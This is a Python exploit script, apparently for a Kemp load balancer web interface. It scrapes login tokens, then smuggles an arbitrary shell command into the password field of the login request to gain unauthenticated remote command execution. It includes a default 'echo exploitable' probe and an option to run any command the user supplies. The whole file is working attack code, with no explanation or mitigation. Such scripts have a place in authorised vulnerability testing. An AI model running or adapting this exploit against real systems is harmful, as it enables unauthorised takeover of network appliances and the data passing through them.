# Copyright 2025 Steven Johnson # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. #!/usr/bin/env python3 import requests import urllib3 import argparse import textwrap from bs4 import BeautifulSoup from logging import exception urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) parser = argparse.ArgumentParser("python3 KempExploit.py -i 127.0.0.1\nOptional arguments include --port, --secure, and --verbose") parser.add_argument("-i", "--ip", required=True, help="The URL of the web page") parser.add_argument("-y", "--yes", default=False, action='store_true', help="Run script without asking questions") parser.add_argument("-p", "--port", required=False, help="The port of the web page") parser.add_argument("-s", "--secure", action="store_true", help="Enable HTTPS", default=True) parser.add_argument("-v", "--verbose", action="store_true", help="Enable verbose output") parser.add_argument("-c", "--command", required=False, help="The command to run") arguments = parser.parse_args() if arguments.secure == True: base_connection_type = "https://" if arguments.port == None: base_port = 443 else: base_port = arguments.port else: base_connection_type = "http://" if arguments.port == None: base_port = 80 else: base_port = arguments.port base_url = arguments.ip # Set a default command if none is specified. This command echos "exploitable" in the response. base_command_encoded = "%01%78%78%78%27%3b%65%63%68%6f%20%65%78%70%6c%6f%69%74%61%62%6c%65%3b%65%63%68%6f%20%27%01" def process_string(input_str): # Step 1: Append '; to the front and ';echo ' to the command modified_str = '\';' + input_str + ';echo \'' # Step 2: Make sure the length is divisible by 4 while len(modified_str) % 4 != 0: modified_str = 'x' + modified_str # Add 'x' to the front # Step 3: Convert each character to its ASCII value, prefixed by % ascii_encoded = ''.join([f'%{ord(char):x}' for char in modified_str]) # Step 4: Append %01 to the beginning and end final_str = f'%01{ascii_encoded}%01' return final_str if not arguments.yes: if not arguments.command: input_string = input("Enter your shell command to send or leave blank to test: ") else: input_string = arguments.command if input_string != "": command_encoded = process_string(input_string) else: command_encoded = base_command_encoded else: if not arguments.command: command_encoded = base_command_encoded else: command_encoded = process_string(arguments.command) input_string = "" # Step 1: GET request to /progs/homepage to pull tokens homepage_url = f"{base_connection_type}{base_url}:{base_port}/progs/homepage" try: session = requests.Session() response = session.get(homepage_url, verify=False) except requests.exceptions.RequestException as e: print(f"Connection failed. Check your URL, port, or SSL connection.\nThe error was: {e}") exit(3) except Exception as e: print(f"An unknown error occurred.\nThe error was: {e}") exit(3) if response.status_code != 200: print(f"Failed to load homepage: {response.status_code}") print(f"Are we sure {base_connection_type}{base_url}:{base_port}/progs/homepage is reachable?") exit(1) # Step 2: Parse HTML and extract tokens soup = BeautifulSoup(response.text, 'html.parser') form = soup.find('form') token = form.find('input', {'name': 'token'})['value'] token2 = form.find('input', {'name': 'token2'})['value'] if not arguments.yes: proceedVerify = input("It looks like I found a target and some tokens. Do you want to proceed? [y/N]") else: proceedVerify = "y" if proceedVerify != "y": print("No action taken, exiting...") proceedVerify = "N" exit(0) if not arguments.yes: if input_string != "": print("Running the command " + input_string) print("The encoded command looks like: " + command_encoded) # Step 3: Send POST request to /progs/status/login login_url = f"{base_connection_type}{base_url}:{base_port}/progs/status/login" #payload = { # 'token': token, # 'token2': token2, # 'user': 'pwn', # 'logsub': 'Login', # 'pass': command_encoded #} # TIL: Passing a dict in session.post URL encodes command_encoded creating a double-encoding issue! payload = f"token={token}&token2={token2}&logsub=Login&user=pwn&pass={command_encoded}" def print_roundtrip(roundtrip_response, *args, **kwargs): format_headers = lambda d: '\n'.join(f'{k}: {v}' for k, v in d.items()) if arguments.verbose: print(textwrap.dedent(''' ---------------- request ---------------- {req.method} {req.url} {reqhdrs} {req.body} ---------------- response ---------------- {res.status_code} {res.reason} {res.url} {reshdrs} {res.text} ''').format( req=roundtrip_response.request, res=roundtrip_response, reqhdrs=format_headers(roundtrip_response.request.headers), reshdrs=format_headers(roundtrip_response.headers), )) login_response = session.post(login_url, data=payload, verify=False , hooks={'response': print_roundtrip}) # Output the result print(f"Login POST status code: {login_response.status_code}") if arguments.command: print(f"The command {input_string} sent successfully. Use --verbose to see complete output.") exit(0) if input_string != "": print(f"The command {input_string} sent successfully. Use --verbose to see complete output.") else: if "exploitable" in login_response.text: print("✅ 'exploitable' found in response, server confirmed vulnerable.") else: print("❌ 'exploitable' not found in response.")